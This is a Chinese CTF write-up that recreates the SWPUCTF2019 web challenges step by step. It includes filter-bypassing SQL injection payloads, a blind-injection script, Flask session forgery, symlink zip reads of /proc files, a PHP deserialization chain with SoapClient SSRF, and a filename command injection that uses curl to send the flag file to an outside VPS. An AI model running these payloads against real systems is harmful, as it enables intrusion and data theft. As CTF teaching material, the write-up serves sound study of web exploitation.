美文网首页
SWPUCTF2019

SWPUCTF2019

作者: Err0rzz | 来源:发表于2019-12-10 20:58 被阅读0次

    记录一哈复现过程

    WEB

    web1

    题目地址为:http://211.159.177.185:23456/index.php
    测试一下,不难发现是个二次注入的题。
    在申请发布广告的广告名中插入恶意sql语句,然后在广告详情中触发注入。
    检查一下发现题目过滤了or,报错注入函数。

    可以采用联合查询来获取数据。关于过滤or无法使用information_schema库,我们可以根据bypass information_schema,使用sys库,来完成表名的查询,以及使用无列名注入来完成注入。payload如下:

    #group by获取列数
    -1'/**/group/**/by/**/22,'11
    #查看版本
    -1'/**/union/**/all/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    #获取表名
    -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    #获取各列
    -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2/**/as/**/test,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    #获取数据
    -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2,3/**/as/**/test/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    

    结果如下:





    somd5网站解密得到flag

    此外,在看别人的wp的时候,发现其实有个报错函数并没有被过滤ST_LatFromGeoHash,如下用法

    1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a
    1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a
    1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
    1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
    

    web3

    随便输入账号密码登录进去,有一个upload目录,但是没有权限访问。右键源码看到有个404 not found提示。

    在 flask 中,可以使⽤用 app.errorhandler()装饰器来注册错误处理函数,参数是 HTTP 错误状态码或者特定的异常类,由此我们可以联想到在 404 错误中会有东西存在。

    随便访问一个不存在的url,发现response头中有自定义字段


    base64解码之后得到以下字符串:
    SECRET_KEY:keyqqqwwweee!@#$%^&*
    

    再联想到刚才访问upload显示的权限不够,可以判断是使用该key伪造session
    githubdown加解密的代码

    """ Flask Session Cookie Decoder/Encoder """
    __author__ = 'Wilson Sumanang, Alexandre ZANNI'
    
    # standard imports
    import sys
    import zlib
    from itsdangerous import base64_decode
    import ast
    
    # Abstract Base Classes (PEP 3119)
    if sys.version_info[0] < 3: # < 3.0
        raise Exception('Must be using at least Python 3')
    elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
        from abc import ABCMeta, abstractmethod
    else: # > 3.4
        from abc import ABC, abstractmethod
    
    # Lib for argument parsing
    import argparse
    
    # external Imports
    from flask.sessions import SecureCookieSessionInterface
    
    class MockApp(object):
    
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    
    if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
        class FSCM(metaclass=ABCMeta):
            def encode(secret_key, session_cookie_structure):
                """ Encode a Flask session cookie """
                try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
    
            def decode(session_cookie_value, secret_key=None):
                """ Decode a Flask cookie  """
                try:
                    if(secret_key==None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    else: # > 3.4
        class FSCM(ABC):
            def encode(secret_key, session_cookie_structure):
                """ Encode a Flask session cookie """
                try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
    
            def decode(session_cookie_value, secret_key=None):
                """ Decode a Flask cookie  """
                try:
                    if(secret_key==None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    
    
    if __name__ == "__main__":
        # Args are only relevant for __main__ usage
        
        ## Description for help
        parser = argparse.ArgumentParser(
                    description='Flask Session Cookie Decoder/Encoder',
                    epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    
        ## prepare sub commands
        subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    
        ## create the parser for the encode command
        parser_encode = subparsers.add_parser('encode', help='encode')
        parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                    help='Secret key', required=True)
        parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                    help='Session cookie structure', required=True)
    
        ## create the parser for the decode command
        parser_decode = subparsers.add_parser('decode', help='decode')
        parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                    help='Secret key', required=False)
        parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                    help='Session cookie value', required=True)
    
        ## get args
        args = parser.parse_args()
    
        ## find the option chosen
        if(args.subcommand == 'encode'):
            if(args.secret_key is not None and args.cookie_structure is not None):
                print(FSCM.encode(args.secret_key, args.cookie_structure))
        elif(args.subcommand == 'decode'):
            if(args.secret_key is not None and args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value,args.secret_key))
            elif(args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value))
    
    解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
    加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
    

    另外说一句,解密的话用以下代码就不用SECRET_KEY

    from itsdangerous import *
    s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
    data,timestamp,secret = s.split('.')
    int.from_bytes(base64_decode(timestamp),byteorder='big')
    

    或者P神的代码

    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of '
                             'an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before '
                                 'decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(sys.argv[1].encode()))
    

    解密如下:

    id改成b'1'

    进入upload目录,右键源码如下:

    @app.route('/upload',methods=['GET','POST'])
    def upload():
        if session['id'] != b'1':
            return render_template_string(temp)
        if request.method=='POST':
            m = hashlib.md5()
            name = session['password']
            name = name+'qweqweqwe'
            name = name.encode(encoding='utf-8')
            m.update(name)
            md5_one= m.hexdigest()
            n = hashlib.md5()
            ip = request.remote_addr
            ip = ip.encode(encoding='utf-8')
            n.update(ip)
            md5_ip = n.hexdigest()
            f=request.files['file']
            basepath=os.path.dirname(os.path.realpath(__file__))
            path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
            path_base = basepath+'/upload/'+md5_ip+'/'
            filename = f.filename
            pathname = path+filename
            if "zip" != filename.split('.')[-1]:
                return 'zip only allowed'
            if not os.path.exists(path_base):
                try:
                    os.makedirs(path_base)
                except Exception as e:
                    return 'error'
            if not os.path.exists(path):
                try:
                    os.makedirs(path)
                except Exception as e:
                    return 'error'
            if not os.path.exists(pathname):
                try:
                    f.save(pathname)
                except Exception as e:
                    return 'error'
            try:
                cmd = "unzip -n -d "+path+" "+ pathname
                if cmd.find('|') != -1 or cmd.find(';') != -1:
                    waf()
                    return 'error'
                os.system(cmd)
            except Exception as e:
                return 'error'
            unzip_file = zipfile.ZipFile(pathname,'r')
            unzip_filename = unzip_file.namelist()[0]
            if session['is_login'] != True:
                return 'not login'
            try:
                if unzip_filename.find('/') != -1:
                    shutil.rmtree(path_base)
                    os.mkdir(path_base)
                    return 'error'
                image = open(path+unzip_filename, "rb").read()
                resp = make_response(image)
                resp.headers['Content-Type'] = 'image/png'
                return resp
            except Exception as e:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
        return render_template('upload.html')
    
    
    @app.route('/showflag')
    def showflag():
        if True == False:
            image = open(os.path.join('./flag/flag.jpg'), "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        else:
            return "can't give you"
    

    注意到这里的代码

    cmd = "unzip -n -d "+path+" "+ pathname
    if cmd.find('|') != -1 or cmd.find(';') != -1:
         waf()
         return 'error'
    os.system(cmd)
    

    这个unzip不禁让人想起湖湘杯2019的那题untar
    然后后面还有将解压文件返回的代码:

    image = open(path+unzip_filename, "rb").read()
    resp = make_response(image)
    resp.headers['Content-Type'] = 'image/png'
    return resp
    

    这里有两种解法。

    第一种:使用软链接完成文件读取
    CVE-2018-12015: Archive::Tar: directory traversal
    上传一个软链接压缩包,完成flag读取。因为缺少flag的绝对路径,只有相对于flask工作目录的相对路径./flag/flag.jpg,所以要先获取flask的工作目录。
    这里又有两种方法

    0x00
    linux中,/proc/self/cwd/会指向进程的当前目录,那么在不知道flask工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问flag.jpgexp如下:

    ln -s /proc/self/cwd/flag/flag.jpg exp
    zip -ry exp.zip exp
    

    上传exp.zip即可flag

    0x01
    在 linux 中, /proc/self/environ文件里包含了进程的环境变量,可以从中获取flask应用的绝对路径,再通过绝对路径制作软链接来读取flag.jpg(PS:在浏览器中,我们无法直接看到/proc/self/environ的内容,只需要下载到本地,用010打开即可),exp如下:

    ln -s /proc/self/environ work
    zip -ry work.zip work
    
    ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg exp
    zip -ry exp.zip exp
    

    第二种:命令注入
    在文件名处进行命令注入。类似$(curl vps -T `pwd`).zip这种。


    但是在读取./flag/flag.jpg时遇到了一点问题:
    if unzip_filename.find('/') != -1:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    image = open(path+unzip_filename, "rb").read()
    resp = make_response(image)
    resp.headers['Content-Type'] = 'image/png'
    return resp
    
    文件名过滤了/,这里https://blog.csdn.net/c20130911/article/details/73187757,将/转化成ascii
    $(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)
    

    web4

    输个',发现500错误,闭合',发现请求正常。猜测可能存在sql注入。

    题目提示PDO,猜测可能是用堆叠查询。因为PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse时可能会造成堆叠注入。
    引号中输入;,发现没有500错误,说明支持堆叠查询。使用PDO执行SQL语句时,可以执行多语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以第二条语句中可以用update更新数据或者使用时间盲注获取数据。关于PDO下堆叠查询

    但是过滤了select,if,sleep等一系列关键字,所以我们可以选用十六进制+mysql预处理来完成绕过。

    测试代码如下:

    #select sleep(10)
    '1';set @a=0x73656c65637420736c65657028313029;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- '
    

    发现注入成功。
    于是时间盲注脚本如下:

    import libnum
    import requests
    
    url = 'http://182.92.220.157:11116/index.php?r=Login/Login'
    flag = ''
    pos = 1
    
    while True:
        for i in range(128):
            try:
                #flag
                #exp = "select if(ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))=%d,sleep(4),1)" % (pos, i)
                #flag
                #exp = "select if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(4),1)" % (pos, i)
                #AmOL#T.zip
                exp = "select if(ascii(substring((select flag from flag),%d,1))=%d,sleep(4),1)" % (pos, i)
                exp1 = hex(libnum.s2n(exp))[:-1]
                data = '''{"username":"1';set @a=%s;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- ","password":"a"}''' % (exp1)
                res = requests.post(url=url, data=data,  timeout=2)
            except Exception, e:
                flag += chr(i)
                print flag
                break
        pos += 1
        print "oops~"
    

    下载AmOL#T.zip(记得将#转化成%23),然后就是代码审计环节了。
    是个MVC模型,首先了解一下该框架下url的解析过程:

    从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。
    以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController
    这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。
    若访问的Controller不存在则默认解析Login/Index。
    

    这样我们就应该先来审计控制器的代码。

    不难发现,在BaseController中有着这么一段明显有问题的代码

        public function loadView($viewName ='', $viewData = [])
        {
            $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
            if(file_exists($this->viewPath))
            {
                extract($viewData);
                include $this->viewPath;
            }
        }
    

    这段代码中使用了extract,以及包含了/View/{$viewName}.php,也就是说我们能通过$viewName$viewData这两个变量来更改/View下任何一个php文件的任何一个变量的值。

    接下来看看继承了该方法的类。


    终于,在UserController中找到了以下代码:
        public function actionIndex()
        {
            $listData = $_REQUEST;
            $this->loadView('userIndex',$listData);
        }
    

    其中$listData是从请求中获取,用户可控。不过刚才BaseController中的$viewName却是代码中写死的userIndex,也就是我们只能覆盖/View/userIndex.php中的变量。

    那去/View/userIndex.php看一下。
    发现以下代码

    <?php
           if(!isset($img_file)) {
              $img_file = '/../favicon.ico';
           }
           $img_dir = dirname(__FILE__) . $img_file;
           $img_base64 = imgToBase64($img_dir);
           echo '<img src="' . $img_base64 . '">';       //图片形式展示
    ?>
    

    其中imgToBase64()实现的是将目标文件转化成base64格式。而我们只需要将$img_file改成/flag.php即可。
    到这里,一切都很清楚了。访问http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php即可获得

    PD9waHAKICAgIGVjaG8gImZsYWcgaXMgaGVyZSxidXQgeW91IG11c3QgdHJ5IHRvIHNlZSBpdC4iOwogICAgJGZsYWcgPSAic3dwdWN0ZntIQHZlX2FfZzAwZF90MW1lX2R1cmluOV9zd3B1Y3RmMjAxOX0iOwo=
    

    base64解码得swpuctf{H@ve_a_g00d_t1me_durin9_swpuctf2019}

    web6

    随便输入账号密码显示错误 试试万能密码 显示密码错误
    猜测后台的判断逻辑如下:
    $sql="select * from users where username='$name' and passwd='$pass'";
    $query = mysql_query($sql); 
    if (mysql_num_rows($query) == 1) { 
        $key = mysql_fetch_array($query);
        if($key['passwd'] == $_POST['passwd']) {
    

    所以我们需要的是绕过if($key['passwd'] == $_POST['passwd']),这里想到使用实验吧中原题所使用的的with rollup,如下:

    我们需要的就是那个pass等于null的那个查询结果,所以在rollup后面接上having pass is NULL
    这样用户名输入1' or '1'='1' group by passwd with rollup having passwd is NULL#,密码为空,即可成功登陆
    发现有个wsdl.php,然后看到一系列的method
    感觉主要能用上的应该是hintFile_readget_flag
    使用hint:index.php Service.php interface.php se.php
    使用get_flag返回only admin in 127.0.0.1 can get_flag,猜测应该是越权+ssrf
    通过File_read加参数读取各个文件,
    #se.php
    <?php
    ini_set('session.serialize_handler', 'php');
    class aa
    {
        public $mod1;
        public $mod2;
        public function __call($name, $param)
        {
            if ($this->{$name}) {
                $s1 = $this->{$name};
                $s1();
            }
        }
        public function __get($ke)
        {
            return $this->mod2[$ke];
        }
    }
    
    
    class bb
    {
        public $mod1;
        public $mod2;
        public function __destruct()
        {
            $this->mod1->test2();
        }
    }
    
    class cc
    {
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke()
        {
            $this->mod2 = $this->mod3 . $this->mod1;
        }
    }
    
    class dd
    {
        public $name;
        public $flag;
        public $b;
    
        public function getflag()
        {
            session_start();
            var_dump($_SESSION);
            $a = array(reset($_SESSION), $this->flag);
            echo call_user_func($this->b, $a);
        }
    }
    class ee
    {
        public $str1;
        public $str2;
        public function __toString()
        {
            $this->str1->{$this->str2}();
            return "1";
        }
    }
    
    $a = $_POST['aa'];
    unserialize($a);
    ?>
    
    #encode.php
    <?php
    function en_crypt($content,$key){
        $key    =    md5($key);
        $h      =    0;
        $length    =    strlen($content);
        $swpuctf      =    strlen($key);
        $varch   =    '';
        for ($j = 0; $j < $length; $j++)
        {
            if ($h == $swpuctf)
            {
                $h = 0;
            }
            $varch .= $key{$h};  
            $h++;
        }
        $swpu  =  '';
        
        for ($j = 0; $j < $length; $j++)
        {
            $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
        }
        return base64_encode($swpu);
    } 
    

    先根据encode.php和得到的flag{this_is_false_flag}来对cookie进行解密

    #decode.php
    function de_crypt($swpu,$key){
        $swpu = base64_decode($swpu);
        $key = md5($key);
        $h      =    0;
        $length    =    strlen($swpu);
        $swpuctf      =    strlen($key);
        $varch   =    '';
        for ($j = 0; $j < $length; $j++) {
            if ($h == $swpuctf) {
                $h = 0;
            }
            $varch .= $key{$h};
            $h++;
        }
        $content='';
        for($j=0;$j<$length;$j++){
            if(ord($swpu{$j})>ord($varch{$j}))
                $content{$j}=chr(ord($swpu{$j})-ord($varch{$j}) );
            else if(ord($swpu{$j})<ord($varch{$j}))
                $content{$j}=chr(ord($swpu{$j})+256-ord($varch{$j}) );
    
        }
        echo $content;
    }
    
    de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
    ?>
    

    解密得到xiaoC:2,改成admin:1重新加密xZmdm9NxaQ==,此时我们已经完成了越权。
    接下来看看SSRF,先想好根据se.php的一般反序列化链:

    1. dd->getflag()是肯定要运行的
    2. 用ee->__toString()来构造(1)
    3. 用cc->__invoke()中的字符串连接来触发(2)
    4. 用aa->__call()中的$s1()来触发(3)
    5. 用bb->__destruct()来触发(4)

    所以逻辑反过来写代码,得到如下:

    <?php
    ini_set('session.serialize_handler', 'php');
    class aa
    {
        public $mod1;
        public $mod2;
    }
    
    
    class bb
    {
        public $mod1;
        public $mod2;
    }
    
    class cc
    {
        public $mod1;
        public $mod2;
        public $mod3;
    }
    
    class dd
    {
        public $name;
        public $flag;
        public $b;
    
    }
    class ee
    {
        public $str1;
        public $str2;
    }
    $b = new bb();
    $a = new aa();
    $b->mod1 = $a;
    
    $c = new cc();
    $a->mod2['test2'] = $c;
    
    $e = new ee();
    $c->mod1 = $e;
    $d = new dd();
    $e->str1 = $d;
    $e->str2 = 'getflag';
    
    $d->flag = '{1}';
    $d->b = '{2}';
    
    echo serialize($b);
    

    接下来就是将上述代码中的{1},{2},{3}填入。
    根据LCTF2018bestphp's revenge中解法,我们可以判断的是我们需要先将soapclient对象反序列化的数据写入session,在上述的{2}填入call_user_func{1}讲道理随意填。

    所以接下来搞定soapclient对象反序列化的数据。

    <?php
    $target = 'http://127.0.0.1/interface.php';
    $post_string = 'a=1&b=2';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: user=xZmdm9NxaQ==',
        );
    $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'      => "aaab"));
    $aaa = serialize($b);    
    $aaa = str_replace('^^',"\r\n",$aaa);
    $aaa = str_replace('&','&',$aaa);
    echo urlencode($aaa);
    ?>
    

    网上的脚本,需要设置的主要是$targetheaders
    其中headers利用SoapClient类进行SSRF+CRLF攻击
    $target为什么要设置为interface.php而不是http://127.0.0.1/index.php?method=get_flag,因为后者好像并不会输出结果,所以出题人多做了个soap接口interface.php来完成攻击。实际上。我们能返回到信息,是因为这边已经实例化了SoapServer类的原因。

    我们可以首先看看interface.php的代码:

    #interface.php
     <?php   
        include('Service.php');
        $ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
        $ser->setClass('Service');
        $ser->handle();
    ?> 
    

    使用了SoapServer生成了wsdl文档,传入类Service来启用接口服务,关于接口服务,测试代码如下:

    #server.php
    <?php 
    class Service
    {
        public function Get_flag(){
            return "flag{xxx}";
        }
    }
    $ser = new SoapServer(null,array('uri'=>'sampleA'));
    $ser->setClass('Service');
    $ser->handle();
     ?>
    
    #client
    <?php
    $client = new SoapClient(null, array(
            'location'=>'http://127.0.0.1/soap/server.php',
            'uri'=>'sampleA'
            ));
    
    echo $client->Get_flag(); //flag{xxx}
    

    当客户端实例化了SoapClient后,就可以调用到Service类中的任意方法,并通过return得到回显

    而如果我们仅仅是通过SoapClient调用不存在的方法触发ssrf,是不会得到回显的,可以本地测一下就知道了,而这里Service类的get_flag方法显然是需要通过回显来得到flag。这就需要利用SoapServer

    所以我们通过反序列化SoapClient类,location指向interface.php即服务端,因为服务端的setClassService类,而Get_flag方法在Service类中,最后我们通过call_user_func调用SoapClient类的Get_flag方法即调用了Service类的Get_flag方法。

    所以在刚才的{1}不能像LCTF2018中原题一样随便填了,需要填写我们要调用的方法,即Get_flag

    接下来就是如何写入session的问题,参考https://www.freebuf.com/vuls/202819.html,利用PHP_SESSION_UPLOAD_PROGRESS上传文件,其中利用文件名可控,从而构造恶意序列化语句并写入session文件。
    构造上传文件

    #upload.html
    <html>
    <body>
        <form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>
    </body>
    </html>
    

    然后上传上面生成的SoapClient反序列化的数据(记得在前面加个|)

    此时我们已经将poc写入到session中PHPSESSIDzz的值中。
    上传se.php反序列化的数据,即可获得flag

    未完待续

    相关文章

      网友评论

          本文标题:SWPUCTF2019

          本文链接:https://www.haomeiwen.com/subject/cryigctx.html